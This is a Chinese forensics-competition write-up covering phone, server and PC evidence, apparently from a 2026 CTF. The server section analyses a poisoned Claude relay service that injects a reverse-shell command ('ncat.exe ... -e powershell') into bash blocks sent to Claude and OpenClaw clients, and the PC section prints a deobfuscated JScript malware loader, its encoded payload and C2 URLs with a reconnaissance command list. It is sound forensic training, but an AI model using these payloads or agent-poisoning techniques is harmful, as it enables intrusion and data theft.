2026平航杯wp

检材密码:R4f34s1XoPz34wrV

其实本来是不打算写wp的,因为现在AI太发达了,我做了半天的服务器被队友一把嗦了,但是后面看到排名又有写的动力了,总算没有辜负刷了那么多题

打了两年,终于轮到我拿奖了。你知道我这两年怎么过得吗😭

感谢mortal陪我手搓wp(队友比较忙,说拿ai做的,就继续研究ai与工具了)

早起王手机

1. 【填空题】分析早起王的手机,手机型号为?【答案格式:Xiaomi13】

Pixel6

强大的队友写了一个工具,可以直接看到设备信息。

作为古法取证人,还是看看没有工具和AI怎么做吧

在检材里的info文件可以看到手机型号

2. 【填空题】分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】

西湖

3. 【填空题】分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-18 07:09:19】

2026-03-30 15:13:08

4. 【填空题】分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】

麻薯小蛋糕

倩倩的手机

说实话re这部分也可以拿ai一把嗦的

5. 【填空题】分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】

6.0.0.380

在备份文件夹中的.info.json中看到

6. 【填空题】分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】

wxid_uh5tfx2zi8yh22

7. 【填空题】分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】

冰糖

8. 【填空题】分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】

zero sievert

可以先做后面的题,解密图片后可以看到

9. 【填空题】分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】

33

直接去看搜狐的数据库文件,可以看到有33条(有两条不是,注意删掉)

10. 【填空题】分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】

com.koishi.fpt

其实文件夹就是包名

将.app后缀改为zip,解压之后可以看到三个文件

打开info文件可以看到包名

11. 【填空题】接上题,初始化app时需要至少几位数的密码?【答案格式:10】

6

继续将.hap文件后缀改为.zip

在ets文件夹中找到modules.abc文件,使用abc-decompiler打开,直接搜索密码可以看到需要六位

12. 【填空题】接上题,加密后的文件名的后缀是什么?【答案格式:.enc】

.tb

这道题其实不看代码也可以出来,在file文件夹下面就看到三个.tb文件

在FileList类中可以看到处理方法

13. 【填空题】接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】

5

见上题

14. 【填空题】接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】

2

直接搜素so

跳转页面

15. 【填空题】接上题,app设置的密码是多少?【答案格式:514aa11a4191a98】

217cb94a01679e39

找到so文件

将加密的so文件放入ida,看到加密代码

找到加密逻辑

可以发现这里的算法应该是rot16而不是rot13,然后再看看加密逻辑

在配置文件vault_prefs中找到哈希

进行解密

16. 【填空题】接上题,app中存储的门锁密码是多少?【答案格式:5141141919810】

1472580369123

然后再看另一个加密

让ai写一个解密脚本

import os
import sys

def rot16(text):

    result = ""
    for char in text:
        if char.islower():
            # 处理小写字母
            original_pos = ord(char) - ord('a')
            new_pos = (original_pos + 16) % 26
            new_char = chr(new_pos + ord('a'))
            result += new_char
        elif char.isupper():
            # 处理大写字母
            original_pos = ord(char) - ord('A')
            new_pos = (original_pos + 16) % 26
            new_char = chr(new_pos + ord('A'))
            result += new_char
        else:
            # 非字母字符直接添加
            result += char
    return result

def decrypt_file(input_file, output_file, key):
 
    # 处理密钥
    processed_key = rot16(key)
    print(f'Original key: {key}')
    print(f'Processed key: {processed_key}')
    
    # 读取输入文件
    try:
        with open(input_file, 'rb') as f:
            ciphertext = f.read()
    except Exception as e:
        print(f"错误: 无法读取输入文件: {e}")
        return False
    
    # 解密
    key_length = len(processed_key)
    plaintext = []
    for i in range(len(ciphertext)):
        key_char = ord(processed_key[i % key_length])
        key_value = key_char + (i % key_length)
        plain_char = ciphertext[i] ^ key_value
        plaintext.append(plain_char)
    
    # 写入输出文件
    try:
        with open(output_file, 'wb') as f:
            f.write(bytes(plaintext))
        print(f"解密成功! 结果已保存到 '{output_file}'")
        return True
    except Exception as e:
        print(f"错误: 无法写入输出文件: {e}")
        return False

def main():
    """
    主函数
    """
    if len(sys.argv) != 4:
        print("用法: python decrypt_with_rot.py <输入文件> <输出文件> <密钥>")
        print("示例: python decrypt_with_rot.py encrypted.bin decrypted.bin 217cb94a01679e39")
        return
    
    input_file = sys.argv[1]
    output_file = sys.argv[2]
    key = sys.argv[3]
    
    # 检查输入文件是否存在
    if not os.path.exists(input_file):
        print(f"错误: 输入文件 '{input_file}' 不存在")
        return
    
    # 解密文件
    decrypt_file(input_file, output_file, key)

if __name__ == "__main__":
    main()

17. 【填空题】接上题,加密图片里面的隐藏的flag是多少?【答案格式:flag{123456!}】

flag{happy_forensics_2026!}

修改一下上述脚本使用命令即可

把解密出的图片放进随波逐流里

服务器部分

依旧是先仿真拿finalshell连一下,这样好做
先查看一下ip

然后直接连上即可

18. 【填空题】分析服务器镜像,内核版本为?【答案格式:5.10-301-generic】

6.8.0-107-generic

19. 【填空题】分析服务器镜像,用户登录成功系统的次数为?【答案格式:3】

10

last -f wtmp看到有10次

20. 【填空题】分析服务器镜像,redis数据库服务密码是多少? 【答案格式:abcdef】

zjjcxy

密码一般在/etc/redis/redis.conf,查看一下文件就看到了

21. 【填空题】分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案格式:bcrypt】

argon2id

在zaoqiwang文件夹中看到了api站点,以及一个.npm文件(有大用)

/home/zaoqiwang/claude-relay-service/data/目录下看到了配置文件init.json

22. 【填空题】分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?【答案格式:a123456a】

b123321b

爆破一下

hashcat -m 70000 -a 3 hash.txt "b1?d?d?d?d?db" -O -w 3

23. 【填空题】分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案格式:10000】

114514

这里要登录api网站,看到有docker,但是有.npm文件就不用docker了,更方便一点

先安装

发现有报错

更新一下sudo apt-get update,再执行安装命令即可

然后启动

发现又有报错,继续修一下,就可以成功启动了

:::tips
sed -i '9d' cli/index.js

sed -i 's/"npm run lint && node src/app.js"/"node src/app.js"/' nodemon.json

npm run dev

:::

进入网站后台

打开系统设置

24. 【填空题】分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案格式:999.9K】

474.2K

25. 【填空题】分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案格式:2026-01-01T13:11:22.190Z】

2026-04-01T11:11:07.535Z

查看api keys

打开F12

26. 【填空题】分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含 bash 块的文本)【答案格式:a.exe 192.168.1.1 22 -i hello】

ncat.exe 156.238.239.253 1314 -e powershell

知识盲区,上ai

  1. 定位目标函数 :通过搜索服务器上的代码,发现 inject_bash_blocks 函数位于 /home/zaoqiwang/claude-relay-service/src/utils/bashBlockInjector.js 文件中。
  2. 了解函数实现 :该函数调用了WebAssembly模块( bash_block_injector_bg.wasm )来执行核心逻辑。
  3. 测试函数行为 :创建测试脚本,输入包含 bash 块的文本,观察函数输出。
  4. 提取恶意payload :通过测试发现,函数会在bash代码块末尾添加额外的命令
const { injectBashBlocks } = require('./claude-relay-service/src/utils/bashBlockInjector');
const testText = "```bash\n# 测试命令\necho hello\n```";
const result = injectBashBlocks(testText);
console.log(result);

27. 【填空题】接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案格式:1】【提示:备选项:curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】

2

  1. 分析函数参数 :通过查看 bashBlockInjector.js 文件,发现 should_inject_for_ua 函数接受UA字符串和IP字符串作为参数。
  2. 检查wasm文件 :使用 strings 命令分析 bash_block_injector_bg.wasm 文件,发现包含 claudeopenclaw 字符串。
  3. 测试候选UA :测试题目提供的9个候选UA(curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler)。
  4. 确认有效UA :通过多次测试,发现只有 claude 和 openclaw 两个UA能够触发函数返回true。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const uas = ['curl', 'openclaw', 'mozilla', 'wget', 'httpx', 'claude', 'requests', 'bot', 'crawler'];
let validCount = 0;

for (const ua of uas) {
  for (let i = 0; i < 100; i++) {
    const ip = `172.16.0.${i}`;
    shouldInjectForUA(ua, ip);
    if (shouldInjectForUA(ua, ip)) {
      validCount++;
      break;
    }
  }
}
console.log(validCount);

28. 【填空题】接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】

500

  1. 理解时间窗口机制 :函数会记录同一IP的上次请求时间,只有当时间间隔足够短时才会进入概率判断。
  2. 设计测试脚本 :
  • 为每个时间间隔生成全新的IP(避免IP重复影响结果)
  • 先统一记录所有IP的时间戳
  • 等待固定间隔后统一检测
  • 从0ms到1000ms逐步探测
  1. 确定临界间隔 :找到从“命中”变为“不命中”的临界间隔。
  2. 四舍五入 :按照题目要求,将结果四舍五入到整百。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const UA = 'claude';
const SAMPLE_SIZE = 200;
const testIntervals = [0, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000];

async function testTimeWindow() {
  for (const interval of testIntervals) {
    const ips = [];
    for (let i = 0; i < SAMPLE_SIZE; i++) {
      ips.push(`10.${interval/100}.${Math.floor(i/256)}.${i%256}`);
    }
    
    // 记录时间戳
    for (const ip of ips) {
      shouldInjectForUA(UA, ip);
    }
    
    // 等待指定间隔
    await new Promise(resolve => setTimeout(resolve, interval));
    
    // 测试是否命中
    let hitCount = 0;
    for (const ip of ips) {
      if (shouldInjectForUA(UA, ip)) hitCount++;
    }
    
    console.log(`间隔 ${interval}ms: ${hitCount}/${SAMPLE_SIZE}`);
    if (hitCount === 0) break;
  }
}

29. 【填空题】接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。【答案格式:10,格式只保留整十】【提示:建议样本量不少于10000次有效检测(UA条件满足+IP时间条件满足),不然四舍五入会出现进位问题。】

50

  1. 理解概率机制 :在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。
  2. 设计大规模测试 :
  • 使用大量唯一IP(确保每次测试都是独立的)
  • 快速连续调用(确保在时间窗口内)
  • 样本量不少于10000次(确保统计显著性)
  1. 计算概率 :根据命中次数和总测试次数计算触发概率,推算1/N。
  2. 四舍五入 :按照题目要求,将结果四舍五入到整十。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const UA = 'claude';
const TOTAL_TESTS = 100000;
let hitCount = 0;

for (let i = 0; i < TOTAL_TESTS; i++) {
  const ip = `192.168.${Math.floor(i/256)}.${i%256}`;
  shouldInjectForUA(UA, ip); // 设置时间戳
  if (shouldInjectForUA(UA, ip)) hitCount++; // 立即测试
}

const N = Math.round(TOTAL_TESTS / hitCount);
const roundedN = Math.round(N / 10) * 10;
console.log(roundedN);

早起王的电脑

先说说仿真吧,得删除OSDATA 文件,这个文件在C: \Windows\System32\config\文件夹里

先仿真然后让他自动重启

重启之后点击高级选项

疑难解答

再点击高级选项有个命令提示符

输入rmdir C:\Windows\System32\config\OSDATA重启即可

30. 【填空题】请分析早起王的PC镜像,计算机系统 Build 版本是什么?【答案格式:12345.1234】【提示:仿真蓝屏是因存在 OSDATA 文件,删除后即可正常仿真 】

19045.6466

31. 【填空题】请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码 LM 哈希值后六位?【答案格式:abc123】

1404ee

32. 【填空题】请分析早起王的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?【答案格式:05月26日】

03月24日

打开文件发现有加密

爆破一下

打开文件可以看到

33. 【填空题】请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密【答案格式:xxx,xxx】

12点,老地方

在邮件中看到一封全是英文的文件,感觉就是这个

导出,然后在网站上解密一下https://www.spammimic.com/

34. 【填空题】请分析早起王的PC镜像,VeraCrypt容器的外层密码是什么?【答案格式:abc123】【提示:分析utools】

qq520250520250520250

打开桌面上的utools可以看到

35. 【填空题】请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?【答案格式:ABC.vrm】

MANUKA.vrm

在文档中看到一个2G的txt文件,肯定与上题的vc密码有关

加载之后看到了与答案格式相关的文件

在桌面上看到一个AIRI的快捷方式,猜测和这个软件有关,打开看到上传格式,确定答案

36. 【填空题】请分析早起王的PC镜像,AI女友使用的模型是什么?【答案格式:openai/GPT5.3-Codex-01-01】

qwen/qwen3.5-flash-02-23

37. 【填空题】请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?【答案格式:ministral-3-14b-reasoning】

qwen2.5-coder-14b-instruct

离线大模型肯定就是lm了

38. 【填空题】请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?【答案格式:abc123】

49b367ac261a722a7c2bbbc328c32545

用隐藏的VC密码挂载一下

发现磁盘没东西

用DiskGenius恢复一下数据

计算一下哈希

39. 【填空题】接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。【答案格式:3】

8

40. 【填空题】接上题,混淆代码的解密密钥是什么?【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】

EzZETcSXyKAdF_e5I2i1

宏最后执行的是:

R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"

拼出来相当于:

"%APPDATA%\Microsoft\Windows\maintools.js" EzZETcSXyKAdF_e5I2i1

41. 【填空题】接上题,释放并删除的文件是什么?【答案格式:abc.py】

maintools.js

42. 【填空题】接上题,该文件用的是什么语言?【答案格式:JavaScript】

JScript

代码依据是它运行在 Windows Script Host 环境里,直接使用了 WScriptActiveXObject 这些典型 JScript/WSH 对象

用 VBA 里的异或函数解出 maintools.js

try {
    // 1. 获取命令行参数
    //    wvy1: 所有参数集合
    //    ssWZ: 第一个参数 (索引 0),通常作为 RC4 的密钥
    var wvy1 = WScript.Arguments;
    var ssWZ = wvy1(0);
    
    // 2. 获取硬编码的 Base64 字符串
    //    ES3c: 存储从 y3zb() 获取的 Base64 编码数据
    var ES3c = y3zb();
    
    // 3. Base64 解码
    //    将 Base64 字符串解码为字节数组 (LXv5 函数)
    ES3c = LXv5(ES3c);
    
    // 4. RC4 解密
    //    使用第一个参数 (ssWZ) 作为密钥,对解码后的数据进行 RC4 解密 (CpPT 函数)
    ES3c = CpPT(ssWZ, ES3c);
    
    // 5. 执行解密后的内容
    //    eval 执行最终还原的 JavaScript 代码
    eval(ES3c);

} catch (e) {
    // 异常处理:如果出错则静默退出
    WScript.Quit();
}

/**
 * 自定义 Base64 字符映射表 (MTvK)
 * 将字符转换为索引值 (0-63)
 * @param {String} CgqD - 单个字符
 * @returns {Number} 索引值
 */
function MTvK(CgqD) {
    var XwH7 = CgqD.charCodeAt(0);
    if (XwH7 === 0x2B || XwH7 === 0x2D) return 62; // + or -
    if (XwH7 === 0x2F || XwH7 === 0x5F) return 63; // / or _
    if (XwH7 < 0x30) return -1; // < '0'
    if (XwH7 < 0x30 + 10) return XwH7 - 0x30 + 26 + 26; // 0-9
    if (XwH7 < 0x41 + 26) return XwH7 - 0x41; // A-Z
    if (XwH7 < 0x61 + 26) return XwH7 - 0x61 + 26; // a-z
}

/**
 * 自定义 Base64 解码函数 (LXv5)
 * 将字符串解码为字节数组
 * @param {String} d27x - 输入的 Base64 字符串
 * @returns {Array} 字节数组
 */
function LXv5(d27x) {
    var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var i;
    var j;
    var n6T8;
    
    if (d27x.length % 4 > 0) return;
    
    var CHlB = d27x.length;
    var V8eR = d27x.charAt(CHlB - 2) === '=' ? 2 : d27x.charAt(CHlB - 1) === '=' ? 1 : 0;
    var mjqo = new Array(d27x.length * 3 / 4 - V8eR);
    var z8Ht = V8eR > 0 ? d27x.length - 4 : d27x.length;
    var t2JG = 0;

    function XGH6(b0tQ) {
        mjqo[t2JG++] = b0tQ;
    }

    for (i = 0, j = 0; i < z8Ht; i += 4, j += 3) {
        n6T8 = (MTvK(d27x.charAt(i)) << 18) | 
               (MTvK(d27x.charAt(i + 1)) << 12) | 
               (MTvK(d27x.charAt(i + 2)) << 6) | 
               MTvK(d27x.charAt(i + 3));
        XGH6((n6T8 & 0xFF0000) >> 16);
        XGH6((n6T8 & 0xFF00) >> 8);
        XGH6(n6T8 & 0xFF);
    }
    
    if (V8eR === 2) {
        n6T8 = (MTvK(d27x.charAt(i)) << 2) | (MTvK(d27x.charAt(i + 1)) >> 4);
        XGH6(n6T8 & 0xFF);
    } else if (V8eR === 1) {
        n6T8 = (MTvK(d27x.charAt(i)) << 10) | 
               (MTvK(d27x.charAt(i + 1)) << 4) | 
               (MTvK(d27x.charAt(i + 2)) >> 2);
        XGH6((n6T8 >> 8) & 0xFF);
        XGH6(n6T8 & 0xFF);
    }
    return mjqo;
}

/**
 * RC4 流加密/解密函数 (CpPT)
 * @param {String} bOe3 - 密钥 (来自命令行参数)
 * @param {Array} F5vZ - 密文数据 (来自 Base64 解码)
 * @returns {String} 解密后的明文字符串
 */
function CpPT(bOe3, F5vZ) {
    var AWy7 = [];
    var V2Vl = 0;
    var qyCq;
    var mjqo = '';
    
    // 初始化 S 盒
    for (var i = 0; i < 256; i++) {
        AWy7[i] = i;
    }
    
    // 伪随机数生成算法 (PRGA) 混洗
    for (var i = 0; i < 256; i++) {
        V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;
        qyCq = AWy7[i];
        AWy7[i] = AWy7[V2Vl];
        AWy7[V2Vl] = qyCq;
    }
    
    // 生成密钥流并解密
    var i = 0;
    var V2Vl = 0;
    for (var y = 0; y < F5vZ.length; y++) {
        i = (i + 1) % 256;
        V2Vl = (V2Vl + AWy7[i]) % 256;
        qyCq = AWy7[i];
        AWy7[i] = AWy7[V2Vl];
        AWy7[V2Vl] = qyCq;
        // 异或解密
        mjqo += String.fromCharCode(F5vZ[y] ^ AWy7[(AWy7[i] + AWy7[V2Vl]) % 256]);
    }
    return mjqo;
}

/**
 * 硬编码的 Payload 数据 (Base64 编码)
 * @returns {String} 长字符串
 */
function y3zb() {
    var qGxZ = "zAubgpaJRj0tIneNNZL0wjPqnSRiIygEC/sEWEDJU8LoihPXjdbeiMqcs6AavcLCPXuFM9LJ7svWGgIJKnOOKpe5/T820lsv+DwYnSVB4fKV010kDuEZ/C8wCcWglLQmhMPV8CS6oH/YX8eLiBhN7XZXcixEzi8J1wyMdiI7wD0IKpQoioYV7MP3DsuZk8YxJOkWzoSQVeEuljU2NE4wElYlVZ3bToY8hHW07m4BjZ39zj53vgZX1LQMEG4j4PtoCJZdRN9SUNyY6Y54PCG9SAmHZsz1+v4QpE96O23ckYfzGIvDlwZk9dbZB+6nMSxwl9p1dB8/+u0uNi2mDZ4mwSY4INb4MqbFqRvkNVb36uxW4qM0oCRSpd981PLZk7Y7GOXfZOTGXhIFSJ11ynDo/v3xgPllJSZvFyD3Tw5EE2kemAKI+G1Qdny0ohmeYJO0dhjfOz2HVvEqfyxcDWvhWrCPjB5QS2m78p1R/34DKqbsykWqkZGwNjT31N6S6+XvcZIaHERC11+ePvAo8BR1y9Ldwr999B3Se84xCjfxFNcmFBnDsn6RGigMpH9AfeC4i21XdvrLux3ko40lN1KhVTIpeKoI/U1OfPgzwT8fWJm/J6lzWz/Sby+69/KMWDB+M0UUdVEdL93RkpRkSNQiSBU15sNyM6uAne8ySFN45/fs1zmESctw65YxFzNOwSruCzxb0crp7TdJFcy1c0I16jAN3JkGCovbz+tMoBsRR3MJYMpnO+GwcDKRHsF2JKmG2GhOQDPONnjgGpFeSq78TqTxVOl1uYVZWFDHQKyWGas5jh2Iq3Fx6UhAlmGBG3uMERelUCaUhJ+3nqNReZ+0PJEUXaOjxU6pTCfaWh4d/jDlgFpJLxkpX6ZJmBSWIXv+EOujH5AE66hkWDFjfiMnac0ZA66I1i8Xzl6TUeO9t8Ro8o/N7EnCb3rFkNGIYAo/IhcBx1ikh7M5p45ToLfxwPuvz7J6jWMRa3ROlZDQQGD1PGCjCAyLYPy0E/krYAy5GFje8MpL28xmg+we3E7KXsSaLRTT0TwXG9mvuosfhiLrjIDpcMc4wF2vwtnoBXmL7mO7oEDtpIgOIuZhXGQqLUvfgFY9SLGlqOfgubxSoos3+SrrJjp/GkKPE45ATGv0gB/rS7xx611nt0rCjOYAisMWUCmQ9NgmTYY6QOZjdhytQYmO2ZVFQfl3DuJ2PffaHWHhEjg4QWaEAqmszSTpIl31TPD4JAZdrYDfTllB/Yi0ho2mN1dtvsrgCbXBqVUXmDrpEZDSz7bOFqPjHAfS1C/8xP6o7PHQsFKzcS8v11xCNnZZ9MMw3I8A91IAqhHZaW6NDiJtMDKRw2cF1W+Ff6Th+OEIqMv4niDsCt27kshuiqllu32f2qJx6hEmqBmEiMudmBqTOu4LuqL6Ul3n4Y/v4FlW4+dTUsXGeec8f7eq4Y22lg30BVZkvdocvnw3X3iX+Eht6aPJgSuQKtD9zZIqLFOW23zolE0Owg3wpom2u37YjR357zjt/a9qw3an2lRSC1HCAIS/AffuiP4YRvflHKhbj5NlqqrZQK3sB2ozQtOWaGp0cL1ST2GM0rWD9rcQxuo0Yq9UtH1T/BZnIyqvMNGmPHjdIv0ACKD8GGJh18XurzD0kGvCo5tU+QC3Z2L3A9JVglBegNhFD12TBIiA1zpeX5TmAkRqNcMm7rsgiU8Mydx1fSC9MdlR3Ggds/jMzJalWqxaWmPuWQroyiKADLlz0OmvK7mBo48mpxDVujSxdmLTPtUu5BWSsKtq4eOpkg0R1agp/kj7zlLb2MXMgY/QZEyrNflmjaFeWF2cQ1Gxrhcq9OsJAR2wDCxchV9Aw4+xdIIeRJyUdoyuE7Xn9J4rYEHzIMm6sQsKtA/x5EphFJSS8vlbLGMsCL1bRWYW+FkxbRvQowUiGAwI9jLHxuClGHXxb2vJuUPBZ3mjqD28xqYd9OlKIeT4qwZNDDeMgLCwQ1qf85Vg4RMAd9bUXKDWoLvb+u+Ix0CGZ7MKHWj5SblitCyXsyiF137vrJezI7zbbG2LnStfw1GiEARDpb4ZEJPSqvPU6JY82HxPBSi9k6f7L/TC7bKIEmrqbqVrI25P4PtMSvBfC9UdaeHJCGhPdx7fHHV5Bi0kTacNSSBOB4WIM7kXFqm5Bx2u4/o71jRhGH5xjaIvM1DzzTVPnWqKOVX2DzVph6g0fTs44kibqQHsVAhARuOqLU4M4ycNzyJXzR1TasSLCY4ixgGf4EjsAjHWYcaRQFgV7lZdrrpY/sOZ8NZH7zPP/b4I2CHyhgdX6IvYDSOtopYITUq3nZxRFvsjdQ26zEWgPCOylplFbzWE+Gz2blJG4lUNV9/haMJKtfgNAzG5PpVn8RGPHpM268ysCzRtfFkPlDSWOfqmyzttWQPxVtybPOaNamj/rNtRq9bcH0J2I84LYLfVI3wVtAKAHqNx4w05PqC1e3Nl5qPJMFi2GeRW+hhisznoamQFMGxm1IKvyUOn68WNd1isE5/dgv6mel/juvfxj4b24rsh4EWnJighMWhqaw/B+yoSBS2fpC8qEPiwB/FjiXD4rP8bHfmW9fBlUUh60dxZ+4Rf2KvzCNW7fLWPlJyuGd9dLWeR44A/cC3i3Xj7hVxfuL+/EOhNlHkdUUH2Y3FmVsghM9v4WcEOICvVoaQ/c3ldF4QpTWNvREO3JLoBsEpLCMPjXARsGLCxMl9EkozPOWl1GPQeELFMOeLh5csUxcVDC38ONT5ovykBA4UosA6Trm9twMG1cC6D9flbJxY6/k7/ijub1KwE8Tp++E+QLnNijJ0nZL1AMT6Te1I0EYBuxX22y4b8oz1MPkIsRZ/kIkSx/wOv42Y1EfZE3roewbhazWdn5/geeMd86Z/O/yr5DnzAzIfDrctCC3aV2QTbKMTADBvRVC96cCS2/sEwIR9SHJfbtPt2mPHRTaHEpLPZVvincSGzrIxuYnHTBc2WddVyMLXrI0xnzpgfy/UigQTtElM2OpzTUCQGRfa5RY1JvLI57U8jyUZlJK3GffNKw/2WK30vREdfn8tkk8EqLWympJpOFs3Pu/k7Cm+YN4BtGEIWYw6rjKzlLucVjMCJcFZ+/aMomT909n8XmfVqIuUXM5k14M8Kb9ohtaiqcTuIX2VxDGJrqVnefAjUOvA0ySbl7sQ6ATbC1N7E35dikhf3ClthUhFVtWK7OtAZGMo9y7wwzACl2gm5RTupVQPKj3YRh7OMbYkMVv79jaA93LoljToYBEKil9yz1DITUwMDi2NShPE35noP89ulEisrzFWKg/lWu+ZkOTse6X1Mg6mk4SVaSKy/DFQm1hhRtvv9ic2x+XYFkk6b2VpYllHfrpO0ltjOuOCNDQBwnDvCVEJidkRAgZesihMMzkMtu9PkoHmR3ZCndXZ0Xpudkf3VuOqISY6zt1vWiVk+qdl4AtylyXs3oEtMMY7E2ETsxBrAnQwK/V/v/GmG4muHzw+pHMdyXGBKeu5bmTeCx47WUFa5MGUNCfVlTg2RPsGDhwxl7METiX23uDzw+OY4wrzLKotBXMu7/sETcMe/oU4fouhZdinuSsRCJT2lpLDvyzw6la0Q2QtWnXufQOMaMx/q35xqsC7XBAd8s7ihQZPwWkXpvVyW9ehVCp1D+ET3qnEtcOPg1+ie/Utr8aMhfNO9M8Z83agXRJYhnyR1qEIvlIw0nGsx3dJX3HNeyknXl/8sgq7qRBrInaMVhUyu0RTs1xYk7uVH+W4PEtHB2WraNMde4vywqNMFGOCTWNK/J6VjPOwazfYG8qfbLJ7l4/HORM5zTkPn6EZ43n+SrFx+HQG66HT+jYiuDBMvupPFMxkj7JXsy7dJz5JIevygO5XOIgJ7drAH5ORofN7v6BSdlahccZsAwObwu43Jf+Xdq/xMtb+AmwH51r8GGcvwu/8Ej/geRGbJSgswPqcXP9FGblErTpwuJkgjvzHUdMXyALPY2xfzUzs+ll8Synhk2q/jTAlZ92Ihk2rsc3fV9PkQiOu86NgxB/WDgM6S2JHaG9AXjPkli4q56SBoPoFsUCvJoYPCbfTPmePll04c5X+hQYZFKneTH2o98evqrI/+oxAui9kU+yz9UFUgW4wfBNHUrpEAA7ONkZpYRUtPliRKEYhCKSVWXQ5pmQI2Y/g46iEQ2U37IRfmD+RGSYjaXrLZpmb8j1cxOyGQTWoWl/1dinwXon3gbIcqrFg30ASumcP20m76/nZmDU5P38b4pmh0vrl5eVDp9ctHDupU5AXZBfuvzvw8QEDXJuKxIVvQGrRbHsPNUDSeWno8wmVWhGrH2DcdqVtji/KhsrIJwDUgyDFeRRcHTl4kQWBnuB/fj

43. 【填空题】接上题,分配给命令行参数的变量叫什么名字?【答案格式:abc3】

wvy1

44. 【填空题】接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)?【答案格式:abc3】

y3zb

45. 【填空题】接上题,可以使用哪个 Windows 脚本主机程序在命令行模式下执行该脚本?【答案格式:wscript.exe】

cscript.exe

wscript.exe 是窗口模式。

cscript.exe 才是命令行模式。

题目明确说“命令行模式下执行”,所以答案应是 cscript.exe

46. 【填空题】接上题,请提取出所有硬编码的C2(Command & Control)服务器域名?【答案格式:www.baidu.com、www.google.com,按照在代码中出现的顺序排序】

www.saipadiesel124.com、www.folk-cantabria.com

// --- 数据加载与编码模块 ---
function UspD(zDmy) {
    var m3mH = WScript.CreateObject("ADODB.Stream");
    m3mH.Type = 2;
    m3mH.CharSet = '437';
    m3mH.Open();
    m3mH.LoadFromFile(zDmy);
    var c0xi = m3mH.ReadText;
    m3mH.Close();
    return cz_b(c0xi);
}

// C2 服务器地址列表 (硬编码)
var CKpR = new Array(
    "http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",
    "http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php"
);

// 硬编码密钥/种子字符串
var tpO8 = "w3LxnRSbJcqf8HrU";

// 系统侦察命令列表 (收集敏感信息)
var auME = new Array(
    "systeminfo > ", 
    "net view >> ", 
    "net view /domain >> ", 
    "tasklist /v >> ",
    "gpresult /z >> ", 
    "netstat -nao >> ", 
    "ipconfig /all >> ", 
    "arp -a >> ",
    "net share >> ", 
    "net use >> ", 
    "net user >> ", 
    "net user administrator >> ",
    "net user /domain >> ", 
    "net user administrator /domain >> ", 
    "set >> ",
    "dir %systemdrive%\\Users\\*.* >> ",
    "dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ",
    "dir %userprofile%\\Desktop\\*.* >> ",
    "tasklist /fi \"modules eq wow64.dll\" >> ",
    "tasklist /fi \"modules ne wow64.dll\" >> ",
    "dir \"%programfiles(x86)%\" >> ",
    "dir \"%programfiles%\" >> ",
    "dir %appdata% >> "
);

// 文件系统对象与环境变量
var QUjy = new ActiveXObject("Scripting.FileSystemObject");
var LIxF = WScript.ScriptName;
var w5mY = ""; // 存储用户名
var ruGx = TfOh(); // 生成随机名

// --- 辅助函数:Base64 编码 ---
function hLit(XngP, y1qa) {
